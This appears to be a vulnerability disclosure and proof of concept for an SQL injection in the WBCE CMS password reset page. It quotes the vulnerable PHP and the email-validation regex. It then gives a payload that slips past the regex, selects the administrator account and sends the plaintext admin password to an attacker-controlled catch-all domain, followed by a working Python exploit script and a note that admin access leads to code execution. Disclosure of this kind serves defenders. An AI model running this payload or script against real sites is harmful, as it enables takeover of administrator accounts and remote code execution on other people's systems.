Plaintext administrator password recovery vulnerability due to SQL injection in password reset page.
admin/login/forgot/index.php lines 33-34:
$sSql = "SELECT * FROM `{TP}users` WHERE `email` = '" . $email . "'";
$rRow = $database->query($sSql);
Due to poor email validation attacker can inject arbitrary SQL queries and recover administrator password.
admin/login/forgot/index.php, lines 26-30:
$email = strip_tags($wb->get_post('email'));
if ($admin->validate_email($email) == false) {
$oMsgBox->error($MESSAGE['USERS_INVALID_EMAIL']);
$email = '';
}
validate_email function which is located in framework/class.wb.php, lines 617-631:
public function validate_email($email)
{
if (function_exists('idn_to_ascii')) {
// use pear if available
$email = @idn_to_ascii($email);
} else {
require_once WB_PATH . '/include/idna_convert/idna_convert.class.php';
$IDN = new idna_convert();
$email = $IDN->encode($email);
unset($IDN);
}
// regex from NorHei 2011-01-11
$retval = preg_match("/^((([!#$%&'*+\\-\/\=?^_`{|}~\w])|([!#$%&'*+\\-\/\=?^_`{|}~\w][!#$%&'*+\\-\/\=?^_`{|}~\.\w]{0,}[!#$%&'*+\\-\/\=?^_`{|}~\w]))[@]\w+(([-.]|\-\-)\w+)*\.\w+(([-.]|\-\-)\w+)*)$/", $email);
return ($retval != false);
}
Regex filtering can’t be optimal protection for SQL injection…
1.First we need to select administrator from users table, using this payload: '/**/or/**/user_id=1/**/or/**/'[email protected]
(Which will bypass regex filtering in class.wb.php)
2.Even if we have no control of administrator’s email, we can send it to another email.
admin/login/forgot/index.php lines 76-77:
// Setup email to send
$mail_to = $email;
Payload that I used can be real email address, on the other hand it can inject SQL query and select administrator from users table.
In this example I used pylibs.org domain and installed forwarder for all emails to [email protected].
// PoC.py
import requests
_url = 'http://localhost/wbce/admin/login/forgot/index.php' # from my localhost environment
_domain = 'pylibs.org' # you have to catch all emails! I used Namecheap domain controller's 'catch all emails and redirect to specific email address' feature
headers = {
'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:89.0) Gecko/20100101 Firefox/89.0',
'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8',
'Accept-Language': 'en-US,en;q=0.5',
'Content-Type': 'application/x-www-form-urlencoded',
'Connection': 'close'
}
_p = "email=%27/**/or/**/user_id=1/**/or/**/'admin%40" + _domain + "&submit=justrandomvalue"
r = requests.post(url = _url, headers = headers, data = _p)
if r.status_code == 200:
print('[+] Check your email, you are probably going to recevice plaintext password which belongs to administrator :)')
'/**/or/**/user_id=1/**/or/**/'[email protected]
emailAuthentication bypass for this web application is like preauth RCE, as authenticated administrator can easily run php scripts using templates or uploading new modules.